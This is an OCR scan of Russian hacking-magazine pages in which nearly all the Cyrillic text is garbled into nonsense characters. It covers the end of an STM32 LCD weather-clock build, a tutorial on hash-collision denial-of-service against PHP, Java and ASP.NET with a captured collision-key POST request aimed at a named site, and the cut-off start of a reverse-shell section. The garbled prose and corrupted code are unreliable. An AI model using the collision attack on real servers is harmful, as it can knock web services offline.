coeanHeHus Connection ID, a data — gaHHble Ans nepegayun.
Ecnn Mbl B ka4ecTBe AaHHbIX NOACTaBMM OMUCAHHBIN BbilLEe
GET-3anpoc, B kayectBe CID — 0, NnOTOMyY 4TO COeAMHEHME Yy HAaC
Bcero ogHo, ¢ OpenWeatherMap, n nownem nocnepoBatesb-
HOCTb B MOAYJb, TO 3TOT 3anpoc 6yaeT 0TocnaH cepBepy U B OTBET
BEPHETCS 3anpoLUeHHbI NporHo3 BmecTe ¢ HTTP-3aronoskom.

OCHOBHASAYACTb. 3KPAH

OkpaH npeactaensetr coboit XK-naHenb ¢ paspelleHnem
128 x 64 TOu4kM 1 ABa KOHTponnepa ynpasneHuns K145Br10, npo-
n3peneHHole OAO «AHrcTpem» (www.angstrem.ru), aHanormy-
Hble KS0108 dupmbl Samsung. Moyemy asa? MNoToMy 4TO AaHHbIN
KOHTPOMIEP MOXET YNPaBAsTb NAaHENbo Pa3MepoMm NuLlb 64 x 64
Toukn. O3Y KoHTponnepa noapasfenseTcs Ha CTpaHulbl, KO-
JIOHKM 1 cTpokn. CTpaHuua — 06nacTb NaMsiT PasMepHOCTbIO
128 x 8 6UT. AKpaHbl MOryT Tpebosatb kak +5 B, Tak 1 +3 B, 1 aT0
SIBHO yka3aHo B MapkunpoBke. B MoeM cnyyae HanpsixeHve nuta-
Hus +5 B.

é

MT-12864J (B3aT10
coduumanbHoro canta
M3JIT)

N

anasneuue KOHTpacT-
HOCTbIO (B39TO M3 faTa-

wwuTa)

per.

10 kOm
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Pasbem Ans NoakIloyeHns akpaHa comepxuT B cebe 20 nu-
HOB, ONMcaHue NPeACcTaBNeHO B CMMCKe MO CleayoLwei Macke:
<HOMep> — <Ha3BaHue 13 gatawmrta> — <onucaHue n3 gatawim-
Ta> — <Kyna rnogko4aeTca>.

* 1—Ucc — nutaHue — k 5V Ha Discovery.
+ 2 — GND — 3emnsi — k GND Ha Discovery.
+ 3 — Uo — Bxop nutanusa XK-nanenu ons ynpasneHus KOH-

TPACTHOCTbIO — K MOACTPOEYHOMY PE3NCTOPY.

+ 4..11 — DBO0..DB7 — wwuHa gaHHbix — k PDO..PD7
Ha Discovery.
- 12,13 — E1, E2 — BbIGOpP KOHTPONNepa — k PD8,PD9
Ha Discovery.
* 14 — RES — cbpoc — k PD10 Ha Discovery.
+ 15— R/W — BbIGOp: 4yTeHne/3anucb — k PD11 Ha Discovery.
+ 16 — A0 — BbIGOpP: KOMaHAa/AaHHble — Kk PD12 Ha Discovery.
+ 17 — E — cTpobupoBaHue gaHHbix — kK K PD13 Ha Discovery.
- 18 — Uee — Bbixog DC — DC npeobpasoBarenss — K Nof-
CTPOEYHOMY PE3NCTOPY.

KctaTtn, 6yAb o4eHb BHUMATENEH MpU Noucke AOKYMEeHTaLmm
Ha NoA06HbIe aKkpaHbl: Hanpumep, y MT-12864J n MT-12864A n3-
MEHEHbI PacnHOBKM pa3bemoB: ecnu y nepsoro 1 — Ucc, a 2 —
GND, T0 y BTOPOro Hao6opoT!

B nporpammupoBaHuy OaHHOrO KOHTpoOAnepa HeT HuU4ero
cnoxHoro: MOJIT npegoctaBnseT AJis CBOUX 3KpaHOB NPUMEpPbI.
Hanpumep, BOT npoLeaypa 0XuaaHus FOTOBHOCTU 3KpaHa, Npes-
naraemasi NponM3BoaUTENEM.

void WaitReady(bit 1, bit r) {

LCD.RW=1; LCD.A@=0;

// YTeHue dnara 3aHATOCTHU

LCD.E1=1; LCD.E2=r;

// BblbpaTb HyXHble KpUCTaiibl B MHAMKATOpeE

Delay(>140ns);

// YcTaHoBUTb curHan E

LCD.E=1;

Delay(>450ns);

while(LCD.D.7==1);
// XpaTb cbpoca ¢dnara 3aHATOCTH
LCD.E=0;
// C6bpocuTb curHan E
Delay(>(1000ns-140ns-450ns));
[ONYCTUMbIA UHTEpBaa Mexay curHanamm E=1

// MuH.
}

A BOT Ta e camasi npoLeaypa, HO yXe HanmcaHHasi MHOA.

GPIO_WriteBit(GPIOD, GPIO_Pin_1@, Bit RESET)
GPIO_WriteBit(GPIOD, GPIO_Pin_10, Bit SET)
GPIO_WriteBit(GPIOD, GPIO_Pin_11, Bit_SET)
GPIO_WriteBit(GPIOD, GPIO_Pin_11, Bit RESET)
GPIO WriteBit(GPIOD, GPIO_Pin_12, Bit SET)
GPIO_WriteBit(GPIOD, GPIO_Pin_12, Bit_RESET)
GPIO_WriteBit(GPIOD, GPIO_Pin_13, Bit_SET)
GPIO_WriteBit(GPIOD, GPIO_Pin_13, Bit_RESET)
GPIO_WriteBit(GPIOD, GPIO_Pin_8, Bit SET);
GPIO_WriteBit(GPIOD, GPIO_Pin_9, Bit_RESET)
GPIO_WriteBit(GPIOD, GPIO_Pin_8, Bit RESET);
GPIO_WriteBit(GPIOD, GPIO_Pin_9, Bit SET)

void waitForLCDReady(uint8_t crystalld) {
// MuH PD7 — Ha BXOA4 [ANA YTeHuA cTaTyca
KpucTtanna
GPIO_InitStructure.GPIO_Pin =
| GPIO_Pin_5 | GPIO_Pin_4;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN;
GPIO_Init(GPIOD, &GPIO_InitStructure);
LCD_READ_DATA();
LCD_SEND_COMMAND() ;
if (crystalld == 0) {
LCD_CHOOSE_CRYSTAL_0O();
} else {
LCD_CHOOSE_CRYSTAL_1();

GPIO_Pin_7«

}
Delay(1);
LCD_SET_STROBE_LINE();
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Delay(1);

// Xpem roTtoBHOCTHU

while (GPIO_ReadInputDataBit(GPIOD, GPIO_Pin_7)«
== Bit_SET) {

// BHOBb MeHAeM HanpaBieHue paboTbl MuHa

GPIO InitStructure.GPIO_Pin = GPIO_Pin_7 |«
GPIO_Pin_5 | GPIO_Pin_4;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT;
GPIO_Init(GPIOD, &GPIO_InitStructure);
LCD_RESET_STROBE_LINE();

Ewle oouH BaxHbIi MOMEHT: BCE CWMBOJbI, BblIBOOVMbIE
Ha 3KpaH, HeobxoAMMO pUCOBaTb CaMOCTOSITeNbHO. [ns aToro
51 BOCMONb30Ba/ICS 3aMeyaTesibHon nporpammont oT MeTtpa Bbico-
yaHckoro KS0108_4_0_1 (nocnepHss Bepcus ot sHeaps 2010 ropa).
Ckayarb ee MOXHO BOT TyT: www.ikarab.narod.ru/KS0108.html.

Tbl MOXELUb NErko yBUAETb B NPABOM 4acTn aKpaHa nog, n3o-
OpaxeHneM peaakTMpyemMoro CUMBOJIA Ero LUECTHAAUATEPUYHbIN
KOZ,, KOTOPbI MOXHO CKOMMPOBATb 1 BCTaBUTb B UCXOHbIN TEKCT-
nporpammbl.

Koabl Mo4Tu BCEX CMMBOJIOB Y BCEX MUKTOrPaMM HaxoAsTcs
B pavine symbols.h.

const uint8_t asciiTable[128][8] = {

{0x00,0x00,0x7E,0x4A, 0x4A, 0x34,0x00,0x00} ,

//66, B
{0x00,0x00,0x3C,0x42,0x42,0x24,0x00,0x00}, //67, C
{ox00,0x00,0x7E,0x42,0x42,0x3C,0x00,0x00}, //68, D
{0x00,0x00,0x7E,0x4A,0x4A, 0x42,0x00,0x00}, //69, E
{0x00,0x00,0x7E,0x0A, 0x0A,0x02,0x00,0x00}, //70, F

B cBoeli nporpamme s 06baABMA  MaccuB  uint8_t
displayArray[8][128] = {0x00};. CHayana Bce, 4TO OOJIXHO

NnosABUTbCA HA 3KpaHe, NMLIEeTCHA B 3TOT MacCuB, a Ilb 3aTemM 06-
HOBNSIETCA U300OPaXeHME.

AJITOPUTM PABOTbI

Tenepb COGCTBEHHO anropuTm paboThl:

1. HactpouTb TakTupoBaHue noptoB Beoaa-BbiBoaa, USART oB
1 RTC — enableClocks();
Hactpoutb pexumbl  paboThbi
setUpGPIO();

Hactpoutb USART'bl — setUpUsart();

HacTtpouTb 4ackl peanbHOro BpemerHun — setUpRTC() ;
Hactpoutb akpaH — initLCD();

MpovHnumanmanposatb WizFi220 — initWizFi220(...);
3anpocuTb noroay B NepBbI pa3 — callWeather(...);
Pacnapcutb ee [ BbIBECTUN Ha akpaH
parseAndSetDateTime(...); n parseAndSetWeather(...);
Kaxkayto MUHYTY 0GHOBASIT MOKA3aHNS YaCcOB Ha 3KPaHe.
Kaxable 30 MMHYT 3anpalumnBaTtb HOBYIO Moroay.

2. nopToB BBOAA-BbIBOAA

© N oA

9.
10.
SAKJTIOYEHUE

B03MO>XHbIE BapuaHTbl PaCLIMPEHUs MPOeKTa:

1. Wcnonb3oBath LIBETHON 3KPaH ¥ BbIBOAWTbL HA HEro, Hampw-

mMep, rpadukm norogsl. Kak Tbl MOMHULLb, Mbl HE UCMO/b30Ba-
JIY TPEXYACOBbIE NMPOrHO3bI.

2. Cpenatb NONHOLEHHYIO METEOCTaHLMIO 1 MOCkINaTb CBOU 13-
mepeHus B OpenWeatherMap.
3. PagpaboTaTb neyaTHyo niary un kopnyc (6e3 Hero yCTponcTBo

BbI3bIBAET HEraTBHble 3CTEeCTNYECKE nepe)KMBaqu).

Kak Tbl Tenepb noHsan, ncrnonb3osaHue Wi-Fi B cBonx npoek-
Tax — 3a/1a4a COBEPLUEHHO He cnoxHas. EquHCTBeHHOe orpaHm-
YeHne — O0BOJIbHO BbICOKasi CTOMMOCTb Moayns (B Mockse, Ha-
npumep, okono 3000 pyGneit). Ho OH CTOUT TOro, 4TOObI 3aTAHYTh
nosica NoTy>e 1 HaKoMUTb Ha Hero. Takxe A HaAeCb, YTo 3Ta cTa-
Tbs BOOXHOBMNA TeGA Ha co3aaHune Yero-Hnbyab CBOEro, NpuyemM
Heobs13aTenbHO cesi3aHHoro ¢ Wi-Fi 1 meTeoponorueii:).

Ecnu Bo3HMKNM Kakne-H1byab BONPOCHI, MWK MHe Ha email,
KOTOPbI MOXHO HaTK B Ha4ane crtatbu. 9 OTKPbIT A5 06LWeHns
1 BCerga pag HoBblM 3HaKOMCTBaM. Yaaum BCEM:-) 3T

Yacel ¢ Bavipaem cBoMY pykamu

[ KS0108 v 4.0 For PIC — C:\Documents and Settings',admin’,Paiousii cron) font1.chr
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HACK

WARNING

Bcs nndopmaums
npenocTaBnexa ucko-
YNTENbHO B 03HAKOMMU-
TenbHbIX Lensx. Jinua,
1CNoNb3yloLme LaHHYI0

MHGOPMaLMIO B NPOTUBO-
3aKOHHBIX LIeNSIX, MOTyT
ObITb NPUBNEYEHDI K OT-

BETCTBEHHOCTH.

MPOU3BECTH DOS-ATAKY, UCNO/b3YS HASH-KONNU3NN

PELWEHUE

Hackonbko st nomHio, Tema DoS-artak B Easy Hack’e 6bina oBosIbHO NOApO6GHO
M3N10XeHa BO MHOXECTBE 3a4a4 — BO BCAKOM CJly4ae, OCHOBHbIE TUMOBbIE aTtaku.
Ho BOT HET, BCMOMHMNOCK eLe koe-4T1o. NoaTomy 3HakoMbTecb — Hash Collision
DoS. Cpasy ckaxy, 4To cama Tema 3Ta AOCTaTO4HO OOLLMPHAs 1 3axBaTbiBaoLLAS
MHOXECTBO Pa3J/InyHbIX aCNeKkToB, Tak YTO HAYHEM Mbl C 06u49|7| Teopun Ha nasnb-
Lax.

Wtak, hash — aT10 pesynsTar paboTbl HEKOW XeLl-PYHKUMM (OHA Xe PYHKLMSA
CBEPTKM), KOTOpasi eCTb HE YTO MHOE, Kak «Npeobpa3oBaHne No AeTepMUHNPO-
BaHHOMY afnropuTMy BXOOHOIMO MacCuBa AaHHbIX MPOU3BOJIbHON A/INHBI B Bbl-
XO[OHYI0 BUTOBYIO CTPOKY (UKCUMPOBAHHOW AnuHbI» (N0 Buku). To ectb faem
Ha BX0f, Hanpumep, CTPOKY 06O ANNHBI, a NoNy4aeM Ha Bbixoge — onpene-
JIEHHO (B COOTBETCTBUW C PA3PSAHOCTbIO). [Tpy 3TOM A1 OQHON 1 TOW Xe CTPO-
K1 Ha BXOAE Mbl NMOJTy4aeM OJMHAKOBbIV UTOT. 3Ta LUTyka HAaM BCEM JOCTaTO4HO
3Hakoma: ato u MD5, n SHA-1, 1 pa3nnyHble KOHTPObHbIE CyMMbl (CRC).

Konnnamnsamu xe Ha3biBaeTCs CUTyaumsi, Koraa pasfivyHble BXOOHbIE JAaHHbIe
MMEIOT OAMHAKOBOE XeLl-3HadyeHre nocne paboTbl GyHKUMK. [pryem BaxHo no-
HMMaTb, 4TO KONIN3UM CBOMCTBEHHbI BCEM XeLU-DYHKUMAM, Tak Kak KOIM4eCTBO
MNTOrOBbIX 3HAYEHWI NO ONPeAENeHMIO MeHbLUe (OHO «OrpPaHNYeHO» pPaspsaHo-
CTbl0) «OECKOHEYHOr0» YACA BXOLHbLIX 3HAYEHWIA.

[Jpyroii BONpoc — Kak nosnyyatb TakMe BXOAHble 3HAYEHUS, KOTOpble Mpu-
BOAMAN Obl K KOMIM3UAM. s KPUNTOCTOMKNX Xew-dyHKUumMiA (Takmx kak MD5,
SHA-1) B Teopuy Ham MOMOXET TOJIbKO NMPSIMOi Nepebop BO3MOXHbLIX BXOZ-
HbIX 3Ha4yeHu. Ho Takne yHKUMM OY4eHb MeJSieHHbl. HekpunTocTorkue xewl-
DYHKUMN 4aCcTO NO3BOJIAIOT PACCUUTLIBATb BXOAHBIE 3HAYEHUs, NopoXaaoLme
KoNnn3um (noapobHee — Yepes HeCKObKOo ab3aues).

TeopeTnyeckn MMEHHO BO3MOXHOCTb NpeaHaMepeHHON reHepauumn Konnmn-
314 1 BbICTYNAeT OCHOBaHWEM A1 BbINOSIHEHWS aTaky «0TKa3 B 06CNy>XUBaHUN»
(DoS’a). dakTnyeckne MeToabl Xe 6yayT OTIMYaThCs, U B KAYECTBE OCHOBbLI Mbl
BO3bMEM BE6H-TEXHONOMMN.

BOoNbWNHCTBO COBPEMEHHbIX A3bIKOB MporpammuposaHus (PHP, Python,
ASP.NET, JAVA), KaKk HM CTPaHHO, [JOCTATOYHO YaCTO UCMOSb3YIOT «BHYTPY cebs»
VIMEHHO HEKPUMNTOCTOMKME XeLU-DYHKUMK. MpuymHa 3TOro, KOHEYHO, B O4EHb Bbl-
COKOW CKOPOCTK nocnedHnx. OAHO 13 TMMOBbIX MECT NPMMEHeHNs — accouma-
TVBHbIE MACCUBbI, OHM Xe xew-Tabnuubl. [la-aa, Te caMmble — XpaHeHue JaHHbIX
B popmare «kNy — 3Ha4YeHne». M HacKonbko s 3Hat0, Kak pas oOT KJtoya 1 Bbl-
CUMTLIBAETCS XELL, KOTOPbIA BNOCNeACTBUM OyaeT NHAEKCOM.

Ho camoe BaxHoe 3ak/iio4aeTcs B TOM, YTO Npu A06aBneHUN HOBOrO, NOUC-
Ke 1 yOaneHumn anemMeHTa n3 xelw-tabnunupl 6e3 Konmsnii kaxaoe n3 OeicTeuii
NPOUCXOAMT AOCTATO4HO ObICTPO (cumnTaeTcsa kak O(1)). A BOT npy NpUcyTCTBUM
KONIN3NIA NPOUCXOAUT Lenblii psf, AOMOSHUTENbHLIX onepauuii: NOCTPOYHbIE
CpaBHEHWNSI BCEX KIMOYEBbLIX 3HAYEHWNI B KONAN3UK, nepecTpoiika Tabnuu. Mpo-
MN3BOAUTESNIbHOCTb 3HAYUTENbHO-3HAYUTENIBHO CHMXaeTcs (O(n)).

W ecnu Mbl Tenepb BCMNOMHUM, YTO Mbl MOXEM pPaccymTaTb NPOU3BOJIbHOE KO-
JINYECTBO KJIKoYel (N), Kaxkaoe U3 KOTopbix 6yAeT NPMBOAUTL K KOMIM3KK, TO Te-
opeTuyeckn AoGaBeHMEe N 3NEMEHTOB (KoY — 3HadveHne) notpebyeT 3aTpar
O(n"2), 4To MOXET NPUBECTU HaC K AONroxaaHHoOMy DoS'y.

[MpakTn4yeckn xe ANs opraHn3auyy NoBbILLEHHOW HArpy3kn Ha CUCTEMY HaMm
TpebyeTcs BO3MOXHOCTb CO3[aTh aCCOLMATMBHbIA MACCUB, Y KOTOPOrO KOJM-
4eCTBO KJIlOYel C OAMHaKoBbIMM Xewamu OyneT U3MepsTbCH COTHAMMU ThiCsaY
(a 7o n 6onbLue). MpencTaBb cebe Harpy3ky Ha NPOL, KOraa emy B TakOW rmraHT-
CKuIA cnucok TpebyeTcs BCTaBUTb €Lle U ellle OAHO 3HAYEeHWe U Kaxablil pas
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A Follow TCP Stream = = %) Xenotix Hash DOS Tester v1 - oIEH
Stream Content URL: http: fdefeon-russia.ruf
POST / HTTR/1.1 Server Type PHP
User-agent: Java/1.8.0_05
Host: defcon-russia.ru S
A it ext T himl S o ws g2, ®/*: -2 umber of Threads
e G e e e e
Content-type: application/x-www-form-urlencoded
Content-Length: 1375852 Request size (Kiobytes)

&7FMGIQN=a&7 FMGIP0=a&7 FMGI00=23&7 FMG]PN=2a&X0Zr Hj4=a&X0Zr Hhv=a&x0Zr Hiu=a&f 99aoT e=a&f 39aom
D=a&X0Zr THU=a&xX0Zr I14=a&X0Zr [Gv=a&iCQwI3i=a&iCQwI4H=a&f 90apKe=a&f 99apL D=a&bNcLwEa=a&bNc
Lvca=alAaG2cxIZ=a&AG2cxK9=a&aobnuca=a&6gmrkPN=a&6gmrFkoo=a&6gmrF jqN=a&6gmF jpo=a&ac2 cwl 9=a&
AG2cwkz=a&aobnvBa=a&Wpzqjev=a&WpZqjHU=a&WpzqjI4=a&wpzqiiU=a&wpZqihv=a&wpzqi j4=a&AEUDEKY
=a&AEUDE1Z=a&AEUDSKZ=3a&AEUD519=2a&1BT4 j4H=a&1BT4j31=a&b0BMUCA=a&sAZSTPT=a&5AZ5TOU=a&5AZS
Tq3=a&sAzsUP3=a&sAzsUOT=a&sAzsUNu=a&x0ZqjI4=a&x0ZqjHU=a&x0zq]jGv=a&x0zqi j4=a&x0Zqiiu=a&x
o0zZgihv=a&iBt4hui=a&iBt4hvH=a&iBt4iTi=a&iBt4iUH=a&bOBMVBa=a&rd9quou=a&rd9qupT=a&rdoquqg3i=
a&rd9QvNu=a&r d9QvoT=a&r d9QvP I=a&f 99boL D=a&f 99boKe=a&F 99bNmD=a&f 99bNTe=a&bNcMUCa=a&bNcMy
Ba=a&bNbmwBa=a&bNbmvca=a&aobo5Ba=a&aobod ca=aghctahui=aghct4hvi=a&hct4j3i=aghctd j4H=a&sA
Zruou=a&sAzrug3=a&sAzrupT=a&hct4iTi=a&hct4iUH=a&sAzrvP3=a&sAzrvoT=a&sAzr vNu=a&boBLvca=a
&bOBLwWEa=a&hdQwGui=a&unREnz7=a&hdQwGvH=a&unRENxy=a&unRENyX=adZ zsecQY=a&Z zsecPz=a&Zzseck
8=a&sC 9RUP 3=a&sCIRUNU=2&SCIRUOT=3a&UNREOXX=a&UNREOY7=a&UNRE OWy=a&7 zsed18=a&zzsed0y=a&bNC
N5EBa=a&hdQowI4H=a&hdQwI3i=a&unREp6y=a&UNREP7 X=a&unREpS7=a&bNcN4 ca=a&hdQwHUH=a&hdQwHTi=a&
VMREp6y=a&VvMREpPT X=a&vMREp 87 =a&VMRE OWy=a&VMREOXX=a&VMREOY7 =a&sC IRTOU=a&vMRENyX=a&vMRENZ7
=a&VMRENXy=a&sCIRTGq3I=a&sCIRTpT=ad7z 75 ebry=a&zzsebs8=a&7 zsebqz=a&virfnz7=a&vLr fnyx=a&vLrf
nxy=a&rcYT3ou=a&r cYt3pT=a&rcvtiq3=advirfoxx=a&vLrfowy=advi rfoy7=a&rcYr4P3=a&rcyr4Nu=adr
CYT40T=adAEUBX]Z=a&AEUBXK9=a&AEuBw]9=adAEuBwkZ=a&hct 5Gui=a&hct 5GvH=a&r d9RUNu=a&r dORUP3=
a&rd9RUOT=a&r d9RTpT=a&r d9RTou=a&r d9RTq3I=a&eZ 9b0L D=a&e7 9bOK e=a&eZ IbNmD=a&eZ 9bNTe=a&hct 51
3i=a&hct 5I4H=a&hct SHUH=a&hc t 5HTi=a&hdqQvhvH=a&hdqvhui=a&unqfoy7=a&unqf oxx=a&unaf owy=a&un
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[] Infinite Loop
Status: Ready
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Mpumep 3anpoca ¢ KoNAM3nammu

NPOBOAUTL MOCTPOYHOE CPaBHEHME KitoYel... XKecTb-xecTb. HO BO3HMKaeT aga
BOMpOCa: Kak Xe A06bITb CTONb 60J1bLIOE KOMYECTBO KOMMNANPYIOLLMX KIOYEn?
W kak Ham 3acTaBUTb aTakyemylo CUCTEMY CO3A4aBaThb Takoro pa3mepa accouma-
TUBHbIE MaCCUBbI?

Kak 6bln0 yxe cka3aHo, Mo NePBOMY BOMPOCY Mbl MX MOXEM pacCyMTaTb.
BONbLWNHCTBO S3bIKOB MCMONL3YIOT OOHY U3 BapuauMii OOHON N TOW Xe xeLl-
dyHkumn. Ona PHP5 ato DJBX33A (ot Daniel J. Bernstein, X33 — ymMHOXUTb
Ha 33, A — addition, To ecTb NpnGaBunTb).

Janee npeacrasiieH yNpOLLEHHbIV ee KOA:

static inline ulong zend_inline_hash_func(const char *arKey,«
uint nKeyLength)

{
register ulong hash 5381;
for (uint i = @; i < nKeylLength; ++i) {
hash = hash * 33 + arKey[i];
}
return hash;
}

Kak Bnauwb, oHa o4eHb npocTas. bepem 3HayeHne xelwa, yMHOXaem ero
Ha 33 n npnbaensiemM 3Ha4YeHne CMMBOA Kitoya. M 3To noBTOpSieTCa AN Kaxao-
ro CMMBONA KJlto4a.

B Java ncnonb3yeTtcsa noyTv aHanormyHas wryka. PasHuua nuiib B Havanb-
HOM 3Ha4YeHUn xeLwa, pasHom 0, 1 B TOM, YTO YMHOXeEHMEe nponcxoamuTt Ha 31 Bme-
cto 33. Vinu ewwe oamH BapnaHT — B ASP.NET n PHP4 — DJBX33X. 370 BCe Ta Xe
bYHKLMS, TONBKO BMECTO C/IOXEHWS CO 3HAYEHNEM CYMBOA KJTI04Ya MCMOJIb3YeT-
cst pyHkums XOR (oTciona n X Ha KoHLE).

Mpwn atom y xew-odyHkumm DIBX33A ecTb 0AHO CBOICTBO, KOTOPOE Npounc-
XOAVT U3 ee aNropuTMa 1 o4eHb HaMm nomoraeT. Ecnun nocne xeww-dyHkumMm cTpo-
Ka 1 1 cTpoka 2 UMEeIOT OAMH XeLl (KOnnu3uns), To 1 pe3ynbTaTt xew-QyHKUMKY, rae
3TN CTPOKU ABNAKOTCH NOACTPOKAMWU, HO HAaXOOAATCA Ha OAMHAKOBLIX NO3UUUSAX,
OyneT konnmauposatk. To ecTb:

hash(Ctpokal)=hash(CTpoka2)
hash(xxxCTpokalzzz)=hash(xxxCTpoka2zzz)

Hanpumep, n3 ctpok Ez n FY, koTopble MetoT OANH XeLl, Mbl MOXEM NONYy4nTb
EzEz, EzFY, FYEz, FYFY, ubr XeLum Takxe SBASOTCSH KONUANPYIOLLMMU.

Takum 06pa3om, kak Tbl BUAWLLb, Mbl MOXEM ObICTPO 1 IErKO paccymTaThb Jio-
60€e KONMYEeCTBO 3HAYEHUIA C OAHMM 3HavYeHnem xell-pyHkummn DIBX33A. Moa-
poBHee Npo reHepauunio MOXHO NPOYUTaTh 3aeck: goo.gl/fVmupT.

Ctout oTmMeTUTb, 4To ansg DJBXB3X (To ectb ¢ XOR’0OM) AaHHbIN NpuHLMN
He paboTaeT, 4TO 1 JIOTMYHO, HO AJ19 Hero AeiCTBYEeT APYroi noaxon, KOTopblin
TakXxe No3BONSIET HAreHePUTb MHOXECTBO KOMUTM3UIA, XOTS U TPeByeT 60onbLLNX
3aTpar u3-3a 6pyTa B He6GoMbLIOM KonmyecTe. Kctatu, npakTuieckux peannsa-
unii Tyn3 DoS’unok nNop, AaHHbI anropuTM s He HaLlen.

C aTuMm, HafeloCb, BCe CTano sicHo. Tenepb BTOPOi BONPOC — NPO TO, Kak 3a-
CTaBUTb NPUIOXEHMS CO34aBaTh Takme 60sbLUME aCCOLMATUBHBIE MACCUBHI.

Ha camoM pene Bce NpoOCTO: HaA0 HANTW Takoe MeCTO B NPUIOXEHNU, rae Obl
OHO aBTOMAaTUYECKN reHEPUO Takue MacCyBbl Ha HalLW BXOAHblE AaHHble. Ca-
Mblii YHMBEpPCaSbHBIM crnocob — aTo otnpaska POST-3anpoca Ha Be6-cepsep.

Tynsaana DoS’a. Bce npocTo!

BONbWNHCTBO «A3bIKOB» aBTOMATUYECKM CKagplBaloT B aCCOLMATUBHBIA Mac-
CVB BCe BXOAHbIE NapameTpbl 13 3anpoca. [a-aa, kak pas nepemerHas $ POST
B PHP 1 paet k Hemy goctyn. Kctatun, xotenock 66l NOAYEPKHYTh, 4TO B 06LLEM
cllyyae Ham BCe paBHO, UCNONb3YeTCs I cama 3Ta NepemeHHas (A5 fgocryna
K POST-napameTpam) B CKPUNTE/NPUNOXEHNM (UCKTIOYEHNE BPOLE KaK COCTaB-
nset ASP.NET), Tak kak BaXHO TO, 4TO BebO-cepBep nepenan napameTpbl B 06-
paGOTHVIK KOHKPETHOro f3blka 1 TaM OHU aBTOMaTU4eCKn ﬂOﬁaBI/IJ'IMCb B acco-
LIMaTUBHbI MacCuB.

Tenepb HeMHOrO UMdp, 4YTOOLI NOATBEPANTL Tebe, 4TO araka O4eHb Cypo-
Ba. OHM oT 2011 roga, HO CyTb CUJIBHO He NoMeHsinack. Ha npoueccope Intel i7
B PHP5 500 K6 konnuawuii 3aiimyT npol, Ha 60 ¢, Ha Tomcat’e 2 M6 — 40 MuH,
ona Python’a 1 M6 — 7 MuH.

KoHeuyHo, 34ecb BaXHO OTMETWUTb, YTO MOYTM BCE BEG-TEXHONOrMU nme-
10T OrpaHMYEeHNs Ha UCMNONHEHME CKPUMNTa UAK 3anpoca, Ha pa3mep 3anpoca,
4YTO HECKOJIbKO 3aTpyAHseT araky. Ho MpMMepHO MOXHO ckasaTb, 4TO MOTOK 3a-
NpoOCOB K cepBepy C 3anofiHeHneM kaHana o 1 MéuT/c no3BOAUT NOABECUTL
noyTn no6oit cepeep. Cornacrucb — 04eHb MOLLHO M NPU 3TOM NpocTo!

Boo6Lue, ya3BUMOCTM, CBA3aHHbIE C KOIM3USMU B XeL-PYHKLUUSX, U UX
akcnayataumst BCnabiBanu ¢ Hadana 2000-x ans pa3nuyHbiX S3bIKOB, HO N0 BEOY
3TO CUMbHO «ydapuno» kak pas B 2011 roay, nocne nybnmkaumm npakTMyecko-
ro pecepya (goo.gl/LAujol) ot kKOMnaHum n.runs. BeHOopbl yxe noBbinyckanu
pasnunyHble NaT4ym, XOTS HaA0 cKasaTb, 4TO «NPOBMBAEMOCTb>» ataku A0 CUX NOp
BbICOKA.

MHe 6bl XOTENOCh Kak pa3 06paTuTb BHUMaHUE Ha TO, Kak BEHOOPbI MbiTa-
JICb 3aLLUMTUTLCS M MOYEMY STOMO MHOrAA HeAoCTaTo4HO. PakTU4eckn ecTb Aga
OCHOBHbIX Noaxoaa. MNepBblit — BHEAPUTL 3aLLMTY HA YPOBHE f3blka. «3alumTa»
3akNIloyaeTCs B UBMEHEHUN GYHKLMN XELLMPOBAHWS, TOUHEE, B Hee JobaBnseT-
C$l paHAOMHas COCTaBAAOLLAsA, He 3Has KOTOPYIO Mbl MPOCTO HE MOXeM Co3Aa-
BaTb Takue KJo4m, YToObl NOPOXAANM KONAN3UKN. HO Ha 3TO NOLUAN He BCE BEH-
nopbl. Tak, HACKONbKO MHe n3BecTHo, Oracle 3abuna Ha ucnpasneHne B Java
1.6 n BHeOpuna paHoOMU3auMio TONbKO C cepeauvHbl 7-i BeTku. Microsoft
BHeapwuna ncnpasnerdve B ASP.NET c Bepcum 4.5. BTopoii xe noaxop, (KOTo-
pbIi TaKXe 1MCcrnosib3oBascs B kayecTBe workaround’a) 6bin B OrpaHUyYeHnmn Ko-
nnyecTBa napameTpos B 3anpoce. B ASP.NET ato 1000, B Tomcat — 10 000.
Ja, c TakMMM 3HAYEHUSIMU KaluW yXe He CBapullb, HO AOCTaTo4Ha v Takas
3awmTa? MHe, KOHEYHO, KaXeTCsl, 4TO HET, — Yy Hac OCTaeTCs BO3MOXHOCTb
noanuXHYTb B Kakoe-TO APYroe MecTo HallW AaHHble C KONNU3nUSaMU, KOTOpble
Takxe OyaoyT aBToMatuyeckn obpaboTaHbl cucteMoit. OguH 13 SpKUX npume-
pOB Takoro mecta — pasnunyHblie XML-napcepbl. B Xerces-napcepe nog Java
accoumaTnsHble Maccusbl (HashMap) no nosHoOM NCnonb3yTCa NPU NApPCUH-
re. Ml npu aTom napcep [ofixeH cHavana Bce o6paboTtaTb (TO eCTb 3anuUxHyTb
CTPYKTYPY B NamsTb), @ MOTOM yXe NPOU3BOAUTb Pa3nNyHyt0 OU3HEC-NOMUKY.
Taknm 06pa3om, Mbl MOXEM CreHepuTb 00bI4HbIN 3anpoc XML, copgepxaiwimin
KONAN3MK, 1 OTNPaBUTb €ro Ha cepeep. Tak kak napameTp byneT dpakTnyeckm
OAMH, TO 1 3aLLMTa Ha MOACYET KONNYeCTBa napameTpoB OyAeT yCreLHOo Npoi-
neHa.

Ho BepHemca k npoctoit POST-Bepcun. Ecnu Tbl Xo4ellb NOTECTUTb CBOM
CanT WUAN Yen-TOo elle, TO eCTb OTIMYHAA MWHUMaNUCTUYHas Tynsa (000.gl/
F2DvQ1) pna atoro wnu roTtoBbii Mopynb Metasploit — auxiliary/dos/http/
hashcollision_dos. Hy a Ha cnyyaii, ecnu gaxe nocne Moero 06bICHeHns ocTta-
JIMCb BOMPOCHI UM MPOCTO N0OMLLIb KOLLIEYEK, TO BOT BEPCUS B KAPTUHKaxX: goo.

gl/ObNIQf 3).



OPFAHU30BATb REVERSE SHELL

XAKEP 09 /188/2014

PELWWEHUE

JlaBHO Mbl He Kacanncb 310l TeMbl. OHO, B OBLLEM-TO, U MOHATHO: KOHLENTYaslb-
HO HOBOIO HNYEro MHe B NOoCefHee BPEMS HE BCTpeyanoch. Ho BCce xe 3agaya
aTa TMNoBas Npu nexTectax. Beap HanTh Gary, 3aakcnayaTtnposaTtb ee — elle
